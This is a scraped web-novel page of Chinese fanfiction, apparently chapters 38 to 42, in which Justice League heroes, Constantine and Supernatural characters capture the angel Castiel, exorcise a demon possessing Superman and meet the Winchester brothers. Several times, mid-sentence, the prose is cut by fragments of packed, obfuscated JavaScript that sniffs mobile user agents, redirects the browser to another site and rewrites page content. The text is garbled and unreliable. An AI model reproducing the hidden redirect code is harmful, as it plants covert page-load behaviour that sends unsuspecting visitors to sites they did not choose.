l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13097619|136106||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 问他。我恰好知道那么几种困住天使的法子。” 那只叫卡斯迪奥的天使和康斯坦丁想象得很不一样。他既不像那些刚从天堂上下来、人性薄弱的天堂战士,也不像那些在人间混迹多年的老油条。 他看上去......很迷茫。 他坐在路边的露天摊位上,手里拿着一个薄卷饼,用一种犹豫纠结的眼神看着手中的食物,几次小心翼翼地张嘴,又没有咬下去,像是不知道该怎么吃东西。 “嘿,老兄,”康斯坦丁走上前去,不见外地环住卡斯迪奥的脖子,“你这风衣看起来不错,是在哪儿买的?” 卡斯迪奥被他的胳膊带得站了起来,歪着头皱眉看他:“你是谁?” 康斯坦丁没有回答,只是热情满满地拉着他离开人群:“这边没什么好吃的,不如你告诉我风衣是哪儿买的,我请你去个好地方吃饭。” 卡斯迪奥竟也毫无异议地跟着他走了,视线依旧在卷饼上游移着,语气茫然:“它一直尝起来这样吗?” “哪样?” “不是分子的味道。所有的食物,所有的味道,都混在一起。”卡斯迪奥小心翼翼地咬了一口,“复杂,但......美妙。” 他们越走越人烟稀少,卡斯迪奥突然停下了脚步:“你要带我去哪里?” “不是说好了我请你吃饭吗?” “不,”卡斯迪奥摇了摇头,“我感觉到了异教的力量。”他看向空中,眉头微微下压,声音变得低沉威严:“出来吧。” 神奇女侠降落在他面前。而比她更快的,是一道红色的身影,飞速围着卡斯迪奥转了一圈,并且扔下了一枚火柴。 圣油将卡斯迪奥困在一个狭小的圈中,火焰扭曲了空气,这是所有天使都无法挣脱的禁锢。 一柄银色狭长的匕首从卡斯迪奥的衣袖里探出,他谨慎地打量眼前几个穿着奇特的人,将目光放在了唯一一个他能够感知到力量出处的人身上:“你身上有希腊神的力量。你是谁?你想要什么?” “我是神奇女侠。” “我从来没有听说过这个名字。”卡斯迪奥说,“你最近见过上帝吗?” “等等,”康斯坦丁忍不住打断,“你是自称主的天使的那个家伙?却在问我们见没见过上帝?” 卡斯迪奥瞥了他一眼,依然把目光放在神奇女侠身上:“你身上的力量......很活跃,比近千年的希腊神都要活跃,这很不寻常。随着信仰的流失,异教神大多都快要失去力量了。只有上帝才能重新赋予他们力量。” “哦,怎么?最近天堂有异教神扶助计划吗?”康斯坦丁讽刺说。 “我从来没有听说过这个。据我所知,天堂最近一直专注于......” 一个突兀的停顿。 在场的人没有错过这一点。 “天堂最近到底想做什么?你又是来做什么的?” “我为什么要告诉你们?” 康斯坦丁咧嘴笑了:“你会说的。不是在这儿,就是在另一个地方。” 随着他话音落下,超人的眼里射出激光,在离圣火边缘几厘米的地方画了一个圈,分离开卡斯迪奥所站的土地。 然后,这片土地被从地上拿了起来。超人托着这块地,向正义联盟飞去。 39.宇宙融合的第五天 迪克·格雷森警官最近很忙。他作为“卧底”归来的探员,有一堆书面材料和会议等着他。伊琳留在布鲁德海文的新公寓里无所事事,最终还是决定回到哥谭消磨时间。 ……消磨时间的方式或许不那么健康,合法性大概也存疑,但考虑到哥谭的风土人情,这应该也是少有的能做的事。 她开始带着克莱尔“钓鱼”——钓鱼执法的那种钓鱼,区别在于她们没有执法权。 她们装成没有警惕心的天真富家女,专门往犄角旮旯走,引出了几个小毛贼。 克莱尔一开始很兴奋,哪怕指节因为撞击开始显出毛细血管破裂的血点,她也只是甩了甩手,金色的头发一跳一跳的。 直到她们坐在了临街的一家快餐店休息,附近的中学生成群结队地放学回家,一部分人大呼小叫地席卷进快餐店,小小的店里很快就充斥着高声的笑和吵闹。 克莱尔吃薯条的动作慢了下来,眼神不自觉地瞟了过去,薯条尖只是在番茄酱里点了一下,就放进了嘴里,和她之前要裹满番茄酱的吃法截然不同,像是她已经完全没有心思去关注薯条的味道。 伊琳成长过程中在学校里的日子少得可怜,所以相关的事从未出现在她的脑海里。她顺着克莱尔的目光看了过去,若有所思:“你还在上学吗?” “之前在寄养系统的时候他们想让我去上学,但我不怎么去。”克莱尔不自在地低下了头,“啰嗦的老师,烦人的作业,还有傻兮兮笑的同学,谁会喜欢上学。” “好吧,我只是想让你知道,如果你还想继续上学的话,我可以找人帮你安排。” 克莱尔皱起了脸:“那群蝙蝠,是吗?” “不必了,我不觉得我能回到那种生活中。”她摇了摇头,“哪怕妈妈没有离开,在我知道了那些事后,我也做不到安安心心过寻常的日子。” 克莱尔的字里行间流露出了一些沉重的旧事。伊琳等了一会儿,见克莱尔并没有想要详细说明的意思,也没有深究。 两人安静了下来,直到空气里响起饮料杯中见底后吸管吸不到液体的声音,伊琳才问道:“你想念寻常的日子吗?” 克莱尔没有回答,只是转动吸管,去撞击杯底的冰块。 伊琳抿了抿唇,将冰块倒进嘴里,嚼得咔嗒响。 或许人们总是会在心理上去依赖一些日复一日、恒定不变的东西,像克莱尔曾经的生活,像伊琳身边那个永不会消失的定点。 但在宇宙里,不变的只有变化。 伊琳会去想念定点,却不会停止追逐变化——冒险是她成长过程中深入骨髓的一部分。 所以,她愉快地宣布:“让我们找点有意思的事情干吧。” 在哥谭,“有意思的事”往往意味着“蝙蝠侠不赞同的事”,也就等同于“红头罩很有可能会全力支持的事”。 伊琳的提案是:“我们要不要去宇宙里看看?” 红头罩兴奋地提出了具体的实施方案:“我们可以通过泽塔管进暸望塔!” 蝙蝠系的每个超英都有暸望塔的权限,连红头罩也不例外。现在的问题就是,该怎么把伊琳和克莱尔一起弄进去。 “我不要找提姆。”伊琳斜靠在沙发上,将手里的飞镖扔向画着蝙蝠的飞镖盘,“他最近总是抓着我问一些奇奇怪怪的问题。”包括但不限于火炬木的建立、人员结构、工作范围等。 “那最好,我也不是他的粉丝。”红头罩竖起两根手指,“既然不能把你们的权限加进暸望塔,那么就只有方案二:抹去你们的生物信息。” 泽塔管会自动识别人的权限,并传输有权限者的所有随身物品,毕竟谁也不想看到同事裸着出现在暸望塔。所以,红头罩和两个大箱子完全属于泽塔管能传输的范围内。 能够隔绝泽塔管探查生物信号的材质难找,但蝙蝠侠的地盘里绝对不缺。 伊琳和克莱尔所要做的,就是缩紧身体忍受一阵子狭小的空间和不流通的空气,听红头罩哼着歌用小推车把两个箱子推到泽塔管里。 “我都等不及要看老头子的表情了。”红头罩欢快地说。 但在“B02”到来的电子语音声响起后,暸望塔的大厅里出乎意料地一片寂静,值班室里也空无一人,只有一排排的监控数据稳定地划过屏幕。 透过落地窗,伊琳能够清楚地看见下方被蓝色覆盖着的球体,和丝丝缕缕的白色大气。更遥远的地方星星点点,在不知多久的以后,人类会在那群星里找到许多个新的居所,人类的足迹终将遍布宇宙。 “太美了。”克莱尔惊叹道。 伊琳将手贴在透明的窗上,呼出的气在玻璃上形成水雾。 塔迪斯上有一个房间是全透明的,坐在里面,就像置身在星河里,令人目眩神迷。她有时候会希望自己也是其中的一颗星星,安静地守着漫长的时间。 她忽地皱起了眉头:窗户在振动,虽然非常轻微,甚至近乎于无,但似乎有一种力量正在挣扎。 “暸望塔里没人吗?”她问道。 红头罩调出了暸望塔的实时数据,手指点着屏幕的一角,上面是简单的布局图与代表着人的不同颜色的点:“他们都在这个房间。” 他看着一个红得异常叉号扬起了眉毛:“那儿有一个俘虏,这或许是一场审讯。” 随着键盘指令的输入,房间的监控视频被调出。摄像头的位置并不好,只能看到众人的头顶。 一个明显是囚徒的家伙被捆在椅子上,束缚着他上身的绳子金灿灿的,看起来竟像是女侠的真言套索。椅子旁边的地上画着繁复的图纹,红头罩看到康斯坦丁的瞬间便意识到这大概是他的杰作。 说来也巧,这个囚徒身上穿着的米黄色风衣倒和康斯坦丁爱穿的那件很相似。 “老头子那么久不回哥谭,我还以为正义联盟很忙,没想到是这么多人围着一个囚犯转。” 红头罩话音刚落,克莱尔就像一道风一样跑出了门。 他僵着脖子扭向伊琳:“她这是什么毛病?” 两人走出去后,毫不费力地找到了被两道栏杆困在走廊中央的克莱尔。红头罩边笑边在系统里扫入自己的声纹:“你没有权限,记得吗?你该庆幸正义联盟的系统不杀人。” “我要过去,”克莱尔焦虑地咬着下嘴唇,“我必须过去。” “你是某个英雄的狂热粉还是什么吗?”红头罩吐槽说,但还是速度飞快地给克莱尔引了路,“这边走。” 当临时囚室的门弹开、众英雄看过来时,克莱尔僵立在门口,眼神直勾勾地看着房间中央的风衣男人,呢喃道:“爸爸?”< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13097620|136106||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p>男人的衬衫敞开着,胸口有一道深深的割痕,伤口里竟然隐隐泛着白光。他原本垂着头,紧握双拳,喘着粗气。听到克莱尔的声音后,他抬起了眼睛,头歪向一侧,有些茫然地端详着克莱尔。 许久,他像是想明白了什么,声音粗糙沙哑:“我不是你的爸爸。” “是啊,我想我自己也弄明白了。”克莱尔自嘲似地笑了一声,深深地吸了一口气,像是强忍着情绪,“记得吗?这是你对我说的第一句话。” 红头罩小声地冲伊琳嘀咕:“这是什么家庭肥皂剧吗?” 蝙蝠侠忽地转过头来,白色透镜直直地对着他。 “明白了,这是让我闭嘴的意思。” 克莱尔并没有在意屋子里的其他人,向前走了几步,踩在地上描绘着的复杂符咒上,咬牙说道:“所以,我的爸爸呢?” 男人的眼睛重新垂下,他看起来似乎有一些羞愧:“他不在了。” “‘不在了’是什么意思?”克莱尔站到了椅子前,双手撑在椅子扶手上,视线扫过他胸口的割痕,“你说过他不会有事的,你承诺过。” “我之前死过一次,身体被炸成了以太,吉米也没有在这个过程中活下来。”他用澄澈的蓝眼睛看着克莱尔:“但你可以放心,他是主虔诚的侍者,他上了天堂。” “但我要我的爸爸活着,我要他回来。”克莱尔近乎是咬牙切齿,“那么你呢?你为什么还活着?还穿着我爸爸的身体走来走去?这具身体根本就不属于你!”她从口袋里掏出一把折叠小刀,在所有人能够反应过来之前,捅入男人的左胸。 他睁大眼,张了张嘴,发出一声痛极后难以调用声带的微弱哽咽。 血从折叠刀的周围渗了出来。 克莱尔退后几步,有些手足无措:“为什么......你......我没有想真的......” 康斯坦丁抢上前,用鞋底擦去地上符咒的一角。 伊琳只觉得周围的气场为之一变,之前感受到微弱挣扎的力量飞快退去,汇入屋子中间的风衣男人身上。 他的皮肤底下开始发出洁白的光芒,这光芒很快扩散到这个屋子,让人难以直视。伊琳眯着眼睛,眼里依旧被光刺激得流出泪来。她惊讶的看到,男人身后的墙上投射出了一个巨大的影子。 那是一双巨大的翅膀,羽翼稀疏,翅骨怪异地弯折着。 “你是堕天使。”康斯坦丁神情忽然变得严肃。 光芒退去,风衣男人站了起来,椅子已经变成了碎片,只有真言套索依旧缠绕在他的身上。 “我是。” “但你不是恶魔。” 男人皱起了眉头:“我不是路西法的麾下。” 他往前迈了一步,轻松地拔出胸口插着的刀子,用手抹了一下,刀上所有的血迹都消失了。他胸上只留下之前透着白光的割痕,克莱尔留下的刀伤消失得无影无踪。 他伸出手,将刀递给克莱尔:“我很抱歉。”他顿了顿,头歪向一侧,用手比了比克莱尔的身高:“你比我记忆里长大了许多。人类的成长速度有那么快吗?” “哦是的,”克莱尔嗤笑,“六年的时间是会对人类起作用的。” “六年?”男人睁大了眼睛,“但我在一年前才见过你,那时你才十岁。” 40.宇宙融合的第六天 这个自称叫卡斯迪奥的天使被关在这里已经有一天了,康斯坦丁绘制的符咒确保他无法动用任何的天使能力,与常人无异。 可他毕竟并非人类,在神志清醒的状态下,就连神奇女侠的真言套索都无法从他口中得到答案。 康斯坦丁本打算采用一些更简单直接的方法,从他身上搜出的天使之刃就是一个很好的工具。但超人还是制止了他的逼供:“我们并不知道他到底有没有作恶,我们甚至不知道他和小镇上的那件事有没有直接的联系。” 所以,突然闯进来的金发女孩是一个绝佳的突破口。 可他们交谈中突然出现的时间分歧着实让人吃了一惊。 克莱尔的反应有些不同寻常。 听了卡斯迪奥的话后,她微微一怔,回头看了眼正联的众人,恍然大悟似地“哦”了一声。 “就这样?”闪电侠的语速飞快,“‘哦’?你就不想解释一下,‘哦’是什么意思?” “就没有人想问吗?”绿灯侠插话说,“他们几个到底是怎么冒出来的?” 蝙蝠侠扫了眼不属于正联的三个人,将目光落在了红头罩身上,声音低沉:“头罩。解释。” “我没什么可说的。”红头罩不爽地说,“这原本应该就是一场暸望塔的观光游,谁知道你们抓了个人在这里。” “他不是人。”克莱尔突然说,“他是天使。” 康斯坦丁拖长了语气:“是的,我想我们弄清这点了。我等不及听些新故事了。” “天使的存在对你们来说不算是新鲜事吗?”克莱尔环视一周,咬住嘴唇,“好吧,我一直以为这个世界里只有飞来飞去的超级英雄,还以为能摆脱这些天使恶魔的东西。但很明显,我想错了,毕竟我并不算是超英的粉丝。” 蝙蝠侠的白色透镜扩大了:“你不是这个世界的人?” “不是。在一年以前,我还以为超人和蝙蝠侠都是漫画里的东西。那会儿我跟着一个扒手团伙一起。”她瞥了一眼蝙蝠侠,飞快补充道,“我想离开,但太晚了,他们不让。我跟着他们一路在躲警察,有个路人告诉我们这个城市是哥谭的时候,没有人相信。后来,我们遇到了毒藤女。” 蝙蝠侠对毒藤女救下的孤儿有些印象,不需要她把话说完,就能填补故事里的空白。听到熟悉的宇宙穿梭话题,他又将目光转向伊琳。 伊琳不等他发问,就无辜地摊开手:“一年前,我还没有来,记得吗?” “棒极了,”康斯坦丁翻了个大大的白眼,“所以我们有了不止一个异时空来客。所以这个天使呢?是他们那边的上帝派他来和我们的上帝打个招呼吗?” “天父没有吩咐我这件事,我也没听说过第二个上帝。”卡斯迪奥明显分辨不清什么是笑话,“我也没有感受到我在什么时候进入了另一个世界。” 蝙蝠侠神情愈发严肃,嘴抿成了一条线。他报出了一系列之前在调查的异常事件,问道:“你对这些有什么头绪吗?” 卡斯迪奥张了张嘴,眼睛不自然地挪开:“呃......也许,可能......” “我不知道你们那个世界是什么样的,又正在发生些什么。但听起来,那边的问题现在也变成了我们的问题。” “说吧。”克莱尔走到卡斯迪奥面前,直视着他的眼睛,熟悉的面孔上浮现的是陌生的神情,“你欠我一个解释。” 看到卡斯迪奥的眼神往她身后瞟,克莱尔说:“我相信他们,虽然我没怎么看过漫画,但也听说过超级英雄是好人。至少会比你强。” “好吧,”卡斯迪奥站直了身体,缓缓开口,“米迦勒和路西法想在人间决斗。正在发生的是天启。” “等等,”康斯坦丁打断说,“我以为天堂和地狱说好了不干预人间?” “天堂和地狱从不‘说好’。”卡斯迪奥皱眉,“地狱也从来没有这样的说法。至于天堂——” “已经很久没有天使见过上帝了。” ** 消息发回蝙蝠洞后,蝙蝠侠并不意外地接到了紧急通讯的请求,但令他意外的是红罗宾说的内容:“不止一个宇宙。” “什么?” “对我们世界产生影响的恐怕不止一个宇宙。”红罗宾深吸了一口气,“针对火炬木的搜索程序有结果了,而且不止一两条。有成千上万条相关的信息在一夜之间冒了出来。我暂时屏蔽了哥谭网络对相关消息的搜索结果,以免有反派知道了外星科技的事,再闹出事情来。” 蝙蝠侠下巴紧绷着,事情或许比他预料得还要严重。但无论如何,他还是得按照原计划一步步行动。 第一步,找到天启中的两个关键人物——米迦勒和路西法的皮囊。 对于如何找到他们,正义联盟并没有与卡斯迪奥达成一致。那个天使执意要自己去和他们解释清楚,蝙蝠侠则想要先亲眼确认他们究竟值不值得信任。 卡斯迪奥提供的两个名字很快就从官方的系统里匹配到了,这对姓温彻斯特的兄弟犯下了多起罪行,早就上了通缉犯的名单,他们自然也不会在外面高调行事。 最有用的线索是那辆曾吸引了绿箭侠注意力的impala汽车,蝙蝠侠轻松通过小镇上当初的监控查到了车牌号,并由此找到了汽车的实时位置。 南达科他州上的一个小镇,非旅游季时镇上的居民不过五百多人。所以,几天前的一起凶杀案就显得格外惹人注目了。 蝙蝠侠来到impala所在的小屋前,视线在屋子侧面草坪上散落的玻璃碎渣和被压弯的草上停留了一瞬,迅速取出了抓钩枪,通过破碎的窗户荡进了屋中。 这是一间田园风格的卧室,白色的单腿小桌案翻在地上,枯萎的花束倒在玻璃与地上的一滩水里,空气中弥漫着硫磺的气味。 门外砰砰作响,一出卧室,蝙蝠侠就看到两人扭打在一起,穿着与卧室风格一致的睡衣的女子跨坐在男子身上,双手紧紧地掐着他的喉咙。 一个重得异常的蝙蝠镖破空而去,击打在女子身上后,蝙蝠镖上的机关被触动,镖里注射的圣水喷射在女子的皮肤上。 女子口中发出嘶哑的叫喊,翻倒在地上,碰到圣水的皮肤嘶嘶作响,冒着蒸汽。她转向蝙蝠侠,露出全黑 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13117214|136106||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的眼睛:“你死定了!” 她伸出手,一股大力将蝙蝠侠击飞出去。他的后背重重地撞在墙上,无形的力把他束缚在墙上动弹不得。他试着动了动小臂,那股力道开始上升,压迫着他的气管,他开始因缺氧而眼前发黑。 但是,手指能动的距离已经足够他做出反击。 随着小拇指的弯曲,一根极细的丝线被牵动,他身前的装甲轻微移位,露出了一个缝隙。细密的箭头射出,上面镂刻着康斯坦丁提供的符咒。 恶魔痛苦地弯腰捂住伤口,无力继续对蝙蝠侠的束缚。 迪恩从大声的呛咳中缓了过来,拿起在之前搏斗中掉落在墙角边的露比的刀,快步来到恶魔身后,一刀对准她的后心处落下。 一阵剧痛席卷过他的手腕。刀尖一偏,只从恶魔的肩膀上划了过去。 迪恩不可思议地看了眼地上的蝙蝠镖:“这是恶魔,她甚至都不是人类!” “我知道她是恶魔。”蝙蝠侠从万能腰带中取出圣水,兜头向恶魔倒下,看着她在蒸汽里痛苦的翻滚,“但被她附身的人呢?” “太晚了,我看着她从楼上摔了下去。” “三楼。我们还有机会。” 迪恩骂了一句,眼看着瓶中的圣水即将用尽,他大声念诵起驱魔的咒文。 恶魔表情狰狞,突然迸发出极大的力气,脱离开圣水的范围。她脸上黑气翻涌,仰面朝天大张着嘴。下一刻,一道黑烟从她的嘴里喷涌出去,消失在窗外。 “她跑了。”迪恩懊恼地砸了一下墙,“接下来她换个身体还能继续作恶。” 蝙蝠侠并没有看向窗外,他只是快步上前接住女子软倒的身体。她露在外面的皮肤上开始显现出坠落伤的皮下出血,嘴角挂上了鲜血,喉咙里发出“咕噜噜”的血液翻涌声。 他验看了女子的瞳孔和脉搏,将她的头抬高,确保她不会因异物而窒息,之后快速地发送了求救讯号:“但她还有机会。超人就在附近。” 迪恩眨了眨眼,面色古怪地打量着蝙蝠侠的装束:“哦对,超人。如果我没猜错的话,你是蝙蝠侠?这算什么?又有什么疯狂的通灵者开始做梦了吗?” 蝙蝠侠忙着固定女子骨折的腿,没有回答他的话。 迪恩耸耸肩,在旁边蹲久了有些腿软,扶着墙站了起来,双腿跳着活动了一下。他忽地觉得有些不对劲,定睛看了眼地上——阳光从起居室的落地窗里透进来,中间赫然是一个健壮的人影。 他转过头去,铁弹枪握在手中。 枪口对准的是一个穿着红蓝制服的男人。 迪恩认识这套制服,也知道这个男人的名字。他收起枪,松了一口气:“呃,超人?蝙蝠侠在这儿,还有个伤员得马上送去做手术。” 超人没有说话,也没有从窗口进来。他只是悬浮在空中,露出一个压迫性极强的笑容,蓝色的双眼瞬间被毫无杂质的漆黑给取代了。 还没等迪恩反应过来,漆黑里涌上红色。 红色的射线穿过窗,打在起居室的地板上。迪恩的右脚瞬间落入地板的洞中,整个人向着楼下坠落。 41.宇宙融合的第七天 下落突然一停,低头一看,才看见腰间缠绕着蝙蝠侠的抓钩枪。绳子骤然缩紧,他被重新拉回到三楼,勒得他差点吐出来。 “怎么那么不小心?”套着超人皮的恶魔已经进入了室内,脚离地约莫十厘米,脸上挂着一抹嘲讽的笑,“看你这么多汗,要不给你降降温?” 恶魔张开嘴,空气里掀起飓风,在风经过的途中凭空凝成冰晶,仿佛一瞬间进入了寒冬。迪恩借着腰间绳子上传来的力道躲出冷冻呼吸的范围外,但被扫到的衣角已经被冻得邦邦硬。 “现在我们要拿这超进化的恶魔怎么办?” “打倒他。” 蝙蝠侠收回抓钩枪,重新挂在腰间。迪恩没有看清他的动作,只见他的手从腰间的袋子上划过,手里就多了一个小瓶子。 “又是圣水?你们还有没有点新的花样?”恶魔不屑地笑了,冷冻呼吸掀起的气流足以将圣水阻挡在外。 蝙蝠侠只是按动了瓶子上的按钮,绿色的气体从瓶子上喷出。 “这是什......”恶魔不解地没有动作,说话间,气体被吸入他的体内。随着一声重响,钢铁之躯掉落在地上。 恶魔尝试着直起身子,手指与地板摩擦发出尖利的声响。他粗重地喘息着,却在动作时吸入了更多氪石气体。他的声音既愤怒又惊慌,一句话被疼痛分割得断断续续:“你们......做了......什么?” “酷。”迪恩睁大眼睛,咧嘴笑了,“我还以为恶魔能免疫作用在宿主身上的伤害,看来超人到底是不一样。” 恶魔的面孔因痛苦而扭曲,眼睛里的黑气不安地翻涌着。他挣扎地伸出手,想重新施展出恶魔的力量,但被氪石制成的拳套打在了脸上。 “你还在等什么?”蝙蝠侠喝道。 迪恩反应过来,再一次念诵起驱魔的咒语。 超人的皮肤上泛起一丝丝黑雾,恶魔尝试着抽身逃脱,又被氪石的重击打得晕头转向。 随着最后一个音节被念出,恶魔停止了挣扎,黑雾从超人口中涌出,直直地陷落进地里。 “下地狱去吧。”迪恩揉了揉背后的撞击伤,看着眼前如同从漫画里走出的两个人,罕见地词穷了,“呃,所以这是真的?超人?蝙蝠侠?” 超人被蝙蝠侠扶着站了起来,剧烈地咳嗽几声后,脸色稍微好看了些,但氪石的影响还没有完全散去,他的脸上还挂着拳套造成的红肿和血丝。 “迪恩·温彻斯特?很高兴见到你。”超人冲着他伸出手,“正义联盟需要你的帮助。” ** 落地后,迪恩蹲在地上一阵干呕,却什么也吐不出来。 “当你说可以飞我过来时,我还以为是‘咻’一下那种。你知道的,天使的那种。”迪恩喘了几口气,总算感觉活过来了。 “你在想什么,这可是超人。”同样被超人带着飞的萨姆看上去除了脸有些发白以外状态还不错,眼睛因为兴奋而发亮。 “我现在意识到了,谢谢。” 迪恩转了一圈,看着树木后面建筑的轮廓和漂亮造型:“等等,你说带我来成员的家中,指的是来哥谭?韦恩庄园?” 早就从克莱尔口中知晓自己是那个世界的漫画人物的超人,并没有因为成员真实身份被人揭破而感到惊讶:“蝙蝠侠的提议。” “酷。他会让我们参观他的车库吗?” 韦恩家不愧是哥谭的首富,招待客人的饭菜绝对是一绝,一位西装笔挺的老管家还对一脸茫然端详着眼前盘子的天使低声解说着每一道菜。 萨姆瞪了他好几眼,迪恩才不自在地放慢了吃饭速度,把食物咽下去了才说道:“所以,我们两个世界融合了?你们一直都是真的?不是突然因为某个魔法师才从漫画书里跑出来的?” 桌子另一端的达米安冷哼了一声,双臂抱在胸前,从迪恩第一次质疑他们的身份开始,他已经保持这个姿势很久了。 “我向你保证,我们绝不是什么魔法师造出来的幻象。”超人好脾气地回复道。 “你不觉得我们才应该是惊讶的那一方吗?毕竟我们只是带来了一些飞来飞去或跑来跑去的制服怪人。”康斯坦丁说,“而你们的世界可是在经历天启。我去看过,那些天使和恶魔常去的酒吧都空了,他们前不久还在勾肩搭背偷偷摸摸地喝酒,现在就告诉我他们在马力全开地准备宗教战争。” “我能说什么呢?”迪恩眯起眼睛,假笑道,“惊喜。” 坐在主位上的布鲁斯·韦恩放下了手中的高脚杯,一声清脆的响声让所有人把目光都投向了他。虽然穿着日常的衣服,他看上去与那些报纸杂志上的照片没有半点相似,说出来的每一句话都果断干脆:“两位温彻斯特先生,如果我没有错误地理解这位天使先生之前告诉我的话,只要没有你们两位,米迦勒和路西法就无法真正开战,对吗?” 迪恩一声脏话堵在嘴里说不出来,向椅背后头靠去,在桌子底下用脚撞了对面的卡斯迪奥一下。 卡斯迪奥抬起头,见迪恩不说话,疑惑地问了一句:“迪恩,怎么了?” 耳边传来萨姆非常刻意的清喉咙的声音,迪恩咬牙切齿:“没事。” “我想这意味着我的理解没有错。”布鲁斯双手十指交叉,撑在桌上,身体微微前倾,“那么为了事态恶化到难以挽回的地步,我希望二位能够待在安全的地方。在此期间,正义联盟和我们的盟友,会处理各地出现的异常现象。” ** “F*CK。”等韦恩庄园那位英国老管家离开后,迪恩踹了一脚屋子里的沙发——沙发脚是实木的,作用力返到脚尖,迪恩咽下一口空气,握住拳头,压抑住喉咙里的痛呼。他环顾四周,看着墙面上伪装成墙 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13139953|136106||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 纸花纹的针对恶魔的符咒,又骂了一句,“F*CK。” 迪恩对脚上疼痛的掩饰并没有瞒过萨姆,他脸上不自觉地露出笑,见迪恩望过来后,刻意撇开头去,溜达进厨房,从冰箱里拿出一瓶阿尔弗雷德提及的帮他们准备好了的汽水。 随着拉环被拉开,气泡炸裂的声音清晰可辨。萨姆抿了一口上涌的泡沫,在沙发上坐下,斟酌着开口:“迪恩,我不明白你为什么生气。” “你不明白我为什么生气?你不明白?”迪恩的声音渐渐提高,“他们把我们囚禁在这里,你问我为什么生气?” “迪恩,他们没有囚禁我们。”萨姆轻吸了一口气,试图心平气和地安抚迪恩,“他们帮我们安排了安全的住所,并让我们不要出哥谭,所以如果发生了什么事情他们能够及时保护我们。我不觉得这有什么不对。” “前两天,你是那个因为我把你留在鲍比家、不让你出去吸食恶魔血而暴跳如雷的人,现在你告诉我他们囚禁我们没有什么不对?”迪恩站在客厅中央,房屋的整洁精致又不失生活气息让他觉得自己和这里格格不入。 “那是因为你把我留下自己出去猎魔!”萨姆咬住腮帮子,重新克制住情绪,“现在不一样,现在有超级英雄去处理这些事,我们所要做的只是保持低调,不被天使和恶魔找到。而且我们可以自由在哥谭活动,这里有大学、有图书馆......” 看着迪恩对他投来像看不可理喻的书呆子一样的眼神,萨姆换了个话题:“我是说,想想有多少人可能一辈子没有离开过他们的城市,我们只是在事情解决前在哥谭待一阵子,我不觉得这称得上囚禁。” “好啊,那要等到什么时候?”迪恩又愤愤地晃了一下萨姆所坐的单人沙发靠背,汽水洒在了萨姆的衬衫上。 萨姆手忙脚乱地扯了几张纸巾擦拭着衬衫,咬牙切齿:“迪恩。” 迪恩瞥了他一眼,咳嗽一声,心虚地换了个话题:“卡斯倒是扔下我们就跑了,又去找他那个不知道还在不在的上帝老爸。要我说,我宁愿相信上帝也不愿意相信这群超级英雄,至少上帝是我们的世界的。” “你到底为什么对超级英雄那么有意见?”萨姆百思不得其解,“我知道你不是他们的粉丝,但你至少可以承认他们想要让世界变得更好,而且比我们更有能力。” “因为好事从来不会发生在我们身上!天使听起来够好了吧?头顶光环,唱着圣歌,在你的床前看着你的那种?结果呢?”迪恩做了个礼花炸开的手势,“砰,大惊喜。他们想来一场天启。” “我们不能指望别人来帮我们,只能靠自己。”迪恩平复了一下呼吸,“我去趟酒吧,不用等我回来。” “迪恩......” “他们没有说过不让我们去酒吧的话吧!”迪恩狠狠将门摔在身后,门隔绝了萨姆的呼唤。 42.宇宙融合的第八天 这栋楼并不是那种崭新高档安保齐全的公寓,显然,蝙蝠侠所说的保护并没有把避免小偷的造访包括在内。 这很像他少年时住的汽车旅馆周边会出现的楼房,楼道昏暗,没有门禁。如果约翰在一个城市停留很久的话,迪恩有时候会和附近住着的孩子建立不错的关系,这种关系有时候是通过打架打出来的。 总之,他们会和他分享一些好东西,比如漫画书。 迪恩并不会像萨姆一样每天都老老实实按时上下学,他有时会逃课,跑到楼道里翻出那些孩子藏在约好地点的漫画书。 漫画书并不成套,什么英雄都有,他已经记不清细节了,但他铁定看过蝙蝠侠和超人。 直到一天他下楼时,在楼道里撞上了约翰。 约翰看他的眼神非常失望——在那之前,约翰已经放手让他处理一些简单的案件了。但他的眼神告诉迪恩,一切似乎又退回了原点。 他抢过迪恩手中拿着的漫画书——迪恩没有挣扎地就放手了——眉头纠在一起翻了几页,用力摔在地上:“你怎么会喜欢看这种东西!” 其实那时候迪恩并不理解约翰的愤怒,但还是退了几步,低下头,认错说:“对不起,爸爸。” “你见过鬼,见过狼人,怎么还会和那些愚昧无知的孩子一样,喜欢这些离谱的东西!”约翰用双手抓着迪恩的肩,让他直视自己的眼睛,“当有鬼作恶的时候,当他们在你面前杀人的时候,你是要指望超人来吗?” “不,爸爸。” 